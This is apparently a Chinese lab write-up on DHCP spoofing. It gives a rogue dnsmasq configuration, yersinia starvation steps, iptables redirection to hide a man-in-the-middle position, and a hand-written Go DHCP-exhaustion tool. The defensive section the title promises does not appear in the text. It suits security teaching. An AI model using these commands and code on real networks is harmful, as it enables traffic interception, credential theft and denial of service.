DHCP 欺骗
整理 DHCP 欺骗原理、攻击影响、检测方式与网络侧防御。
1. 实验概述
1.1 实验目的
本实验旨在深入探究DHCP协议的安全机制缺陷,通过实践验证DHCP欺骗攻击的可行性和危害性,具体目标包括:
- 理解DHCP协议的工作原理及其安全漏洞
- 掌握DHCP耗尽攻击和服务器欺骗的攻击原理与技术实现
- 分析攻击成功后的潜在危害和后续攻击可能性
- 制定有效的防御策略和安全加固方案
1.2 实验原理
DHCP(动态主机配置协议)欺骗攻击主要利用以下两个协议层面的安全缺陷:
- 认证机制缺失:DHCP协议设计之初未集成身份认证机制,客户端无法验证DHCP服务器的真实性,无法区分合法服务器与恶意服务器。
- 客户端响应机制:DHCP客户端通常接受第一个收到的DHCP响应,攻击者可通过快速响应抢占合法服务器的响应机会。
攻击分为两个阶段:
- 第一阶段 - DHCP耗尽攻击:通过伪造大量DHCP请求包,耗尽合法DHCP服务器的IP地址池资源,使其无法为合法客户端提供服务。
- 第二阶段 - 恶意服务器部署:在合法服务器瘫痪后,提供恶意网络配置,将网关和DNS服务器指向攻击者控制的主机。
2. 实验环境
2.1 网络拓扑架构
graph TD
A[互联网] --> B[路由器/网关<br/>192.168.73.2<br/>合法DHCP服务器];
B --> C[局域网<br/>192.168.73.0/24];
C --> D[攻击者主机<br/>Kali Linux<br/>192.168.73.131<br/>恶意DHCP服务器];
C --> E[靶机<br/>Ubuntu<br/>192.168.73.128];
C --> F[其他网络设备];
D -.->|DHCP耗尽攻击| B;
D -.->|恶意DHCP响应| E;
2.2 实验设备配置
| 设备类型 | 操作系统 | IP地址 | 角色功能 |
|---|---|---|---|
| 攻击主机 | Kali Linux 2023.3 | 192.168.73.131 | 运行恶意DHCP服务器和实施耗尽攻击 |
| 靶机 | Ubuntu 22.04 LTS | DHCP动态获取 | 受害主机,网络配置被篡改 |
| 网络网关 | 路由器固件 | 192.168.73.2 | 合法DHCP服务器和网络出口 |
| 网络环境 | VMware桥接模式 | 192.168.73.0/24 | 模拟局域网环境 |
3. 实验步骤与过程分析
3.1 信息收集与侦察阶段
3.1.1 网络扫描与DHCP服务器发现
使用nmap进行DHCP服务器扫描,识别网络中的合法DHCP服务:
# 扫描网段内的DHCP服务器
nmap -sU -p67 --script=dhcp-discover 192.168.73.0/24

扫描结果分析:发现网络中存在的DHCP服务器(192.168.73.2),为后续攻击提供目标定位。
3.1.2 靶机基准配置检测
在攻击前记录靶机的正常网络配置,作为后续攻击效果的对比基准:
# 检查Ubuntu靶机的当前网络配置
resolvectl status

关键发现:确认靶机当前使用的DNS服务器为192.168.73.2(合法网关),网关地址相同。
3.2 恶意DHCP服务器部署
3.2.1 攻击工具安装与配置
选择dnsmasq作为恶意DHCP服务器软件,因其轻量级且配置灵活:
# 在Kali上安装dnsmasq
sudo apt-get install dnsmasq
编辑配置文件 /etc/dnsmasq.conf,关键配置如下:
# 网络接口配置
interface=eth0
listen-address=192.168.73.131
bind-interfaces
# IP地址分配范围(避免与现有IP冲突)
dhcp-range=192.168.73.100,192.168.73.150,255.255.255.0,12h
# 域名设置
domain=local
# 攻击核心配置:重定向网关和DNS
dhcp-option=3,192.168.73.131 # 网关指向攻击者
dhcp-option=6,192.168.73.131 # DNS服务器指向攻击者
3.2.2 恶意服务器启动与验证
# 以调试模式启动dnsmasq(便于观察DHCP交互过程)
sudo dnsmasq -C /etc/dnsmasq.conf -d

服务验证:再次扫描确认恶意DHCP服务器已上线并运行正常:
nmap -sU -p67 --script=dhcp-discover 192.168.73.0/24

技术要点:此时网络中存在两个DHCP服务器(合法服务器192.168.73.2和恶意服务器192.168.73.131),形成竞争关系。
3.3 DHCP耗尽攻击实施
为了使靶机优先使用恶意DHCP服务器,需要使合法DHCP服务器无法正常响应请求。使用yersinia工具实施DHCP耗尽攻击。
3.3.1 攻击工具编译与安装
由于yersinia在标准库中版本较旧,需要从源码编译:
# 移除可能存在的旧版本
sudo apt remove --auto-remove yersinia
sudo apt purge --auto-remove yersinia
# 安装编译依赖
sudo apt update
sudo apt install autoconf libgtk-3-dev libnet1-dev libgtk2.0-dev libpcap-dev git make gcc
# 克隆源代码并编译
sudo git clone https://github.com/tomac/yersinia /opt/yersinia
cd /opt/yersinia
sudo ./autogen.sh
sudo ./configure --enable-gtk
sudo make
sudo make install
注:编译过程中可能需要根据错误信息调整代码(如sock类型转换问题)。
3.3.2 耗尽攻击执行
# 启动yersinia图形界面
sudo yersinia -G
攻击参数配置:
- 点击”Launch attack”按钮
- 选择”DHCP”协议
- 勾选”sending DISCOVER packet”选项
- 点击”OK”开始攻击

攻击原理:通过发送大量伪造源MAC地址的DHCP Discover包,耗尽合法DHCP服务器的IP地址资源,使其无法为合法客户端提供服务。
3.4 攻击触发与效果验证
3.4.1 强制靶机DHCP重申请
在合法DHCP服务器资源耗尽的情况下,强制靶机重新申请IP配置:
# 释放当前IP地址
sudo dhclient -r
# 重新请求IP配置
sudo dhclient

3.4.2 攻击效果验证
检查靶机网络配置变化,确认攻击是否成功:
# 检查DNS服务器设置
resolvectl status

攻击成功指标:DNS服务器已从192.168.73.2(合法网关)变为192.168.73.131(攻击者主机),证明DHCP欺骗攻击成功。
3.4.3 恶意服务器交互分析
观察恶意DHCP服务器日志,分析完整的DHCP交互过程:

交互流程:
- DHCP Discover:客户端广播发现请求
- DHCP Offer:恶意服务器提供IP配置
- DHCP Request:客户端请求确认
- DHCP Ack:恶意服务器确认分配
3.5 攻击持久化与隐蔽性
为维持攻击效果并降低被发现概率,实施以下措施:
# 开启IP转发功能,使靶机网络流量正常通行
echo 1 > /proc/sys/net/ipv4/ip_forward
# 配置iptables规则,实现流量透明转发
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
技术要点:开启IP转发后,攻击机成为中间人,可以正常转发流量而不易被察觉,为后续的DNS欺骗或流量嗅探创造条件。
4. 手动构建DHCP耗尽攻击工具
为了深入理解攻击原理,用Go语言手动编写一个DHCP耗尽攻击工具,以下详细分析核心代码模块。
4.1 核心代码结构
4.1.1 配置参数结构
// AttackConfig 存储DHCP耗尽攻击的配置参数
type AttackConfig struct {
Interface string // 网络接口名 (如 "eth0")
Workers int // 并发工作协程数量
PacketsPerSecond int // 每个工作协程每秒发送的包数
RandomSourceMAC bool // 是否使用随机源MAC地址
Timeout time.Duration // 攻击超时时间
}
4.1.2 MAC地址生成函数
// generateRandomMAC 生成一个随机的MAC地址
func generateRandomMAC() (net.HardwareAddr, error) {
buf := make([]byte, 6)
_, err := rand.Read(buf)
if err != nil {
return nil, err
}
// 设置本地分配位和单播位 (IEEE 802)
buf[0] |= 0x02 // 确保是本地管理的地址
buf[0] &^= 0x01 // 确保是单播地址
return net.HardwareAddr(buf), nil
}
代码解析:
rand.Read(buf):使用密码学安全的随机数生成器填充6字节缓冲区buf[0] |= 0x02:设置第二最低有效位为1,表示本地管理地址buf[0] &^= 0x01:清除最低有效位为0,表示单播地址- 符合IEEE 802标准规定的MAC地址格式要求
4.1.3 DHCP数据包构造
// createDHCPDiscoverPacket 创建一个DHCP Discover数据包
func createDHCPDiscoverPacket(srcMAC net.HardwareAddr) ([]byte, error) {
// 以太网层 - 广播
ethernetLayer := &layers.Ethernet{
SrcMAC: srcMAC,
DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff},
EthernetType: layers.EthernetTypeIPv4,
}
// IPv4层 - 源地址0.0.0.0,目的地址255.255.255.255
ipLayer := &layers.IPv4{
Version: 4,
TTL: 64,
SrcIP: net.IPv4(0, 0, 0, 0),
DstIP: net.IPv4(255, 255, 255, 255),
Protocol: layers.IPProtocolUDP,
}
// UDP层 - 客户端从68端口发送到服务器的67端口
udpLayer := &layers.UDP{
SrcPort: 68,
DstPort: 67,
}
udpLayer.SetNetworkLayerForChecksum(ipLayer)
// DHCPv4层
bootpLayer := &layers.DHCPv4{
Operation: layers.DHCPOpRequest,
HardwareType: layers.LinkTypeEthernet,
HardwareLen: 6,
Xid: generateRandomXID(), // 随机事务ID
ClientHWAddr: srcMAC,
}
// DHCP选项 - 消息类型为Discover
discoverOpt := layers.NewDHCPOption(layers.DHCPOptMessageType,
[]byte{byte(layers.DHCPMsgTypeDiscover)})
bootpLayer.Options = append(bootpLayer.Options, discoverOpt)
// 序列化数据包
buffer := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
err := gopacket.SerializeLayers(buffer, opts,
ethernetLayer, ipLayer, udpLayer, bootpLayer)
if err != nil {
return nil, err
}
return buffer.Bytes(), nil
}
4.1.4 攻击工作协程
// startAttackWorker 启动一个攻击工作协程
func startAttackWorker(ctx context.Context, handle *pcap.Handle,
config *AttackConfig, workerID int) {
ticker := time.NewTicker(time.Second / time.Duration(config.PacketsPerSecond))
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
// 生成随机MAC地址
srcMAC, err := generateRandomMAC()
if err != nil {
log.Printf("Worker %d: 生成随机MAC失败: %v", workerID, err)
continue
}
// 创建DHCP Discover包
packetData, err := createDHCPDiscoverPacket(srcMAC)
if err != nil {
log.Printf("Worker %d: 创建数据包失败: %v", workerID, err)
continue
}
// 发送数据包
err = sendDHCPDiscover(handle, packetData)
if err != nil {
log.Printf("Worker %d: 发送失败: %v", workerID, err)
} else {
log.Printf("Worker %d: 发送成功, MAC: %s", workerID, srcMAC.String())
}
}
}
}
4.2 工具使用方式
# 编译工具
go build -o dhcp-exhaustion main.go packet.go sender.go config.go
# 使用示例
sudo ./dhcp-exhaustion -i eth0 -w 10 -pps 50 -r true -t 300
参数说明:
-i eth0:指定网络接口-w 10:使用10个工作协程-pps 50:每个协程每秒发送50个包-r true:使用随机MAC地址-t 300:攻击持续300秒(5分钟)
5. 实验结果与分析
5.1 攻击效果评估
通过实验验证,DHCP欺骗攻击取得了以下效果:
- 网络配置篡改成功:靶机的DNS服务器设置被成功篡改为攻击者控制的IP地址
- 中间人位置获取:通过开启IP转发,攻击者成功获取了中间人位置
- 服务可用性维持:在实施攻击的同时,保持了网络服务的正常可用性,提高了攻击隐蔽性
5.2 潜在危害分析
成功实施DHCP欺骗攻击后,攻击者可以实现以下后续攻击:
- DNS欺骗攻击:通过控制DNS解析,将用户引导至钓鱼网站
- 会话劫持:拦截和篡改网络会话,获取敏感信息
- 服务拒绝:通过耗尽DHCP资源导致合法用户无法获取IP地址
- 信息窃取:嗅探网络流量,获取用户名、密码等敏感信息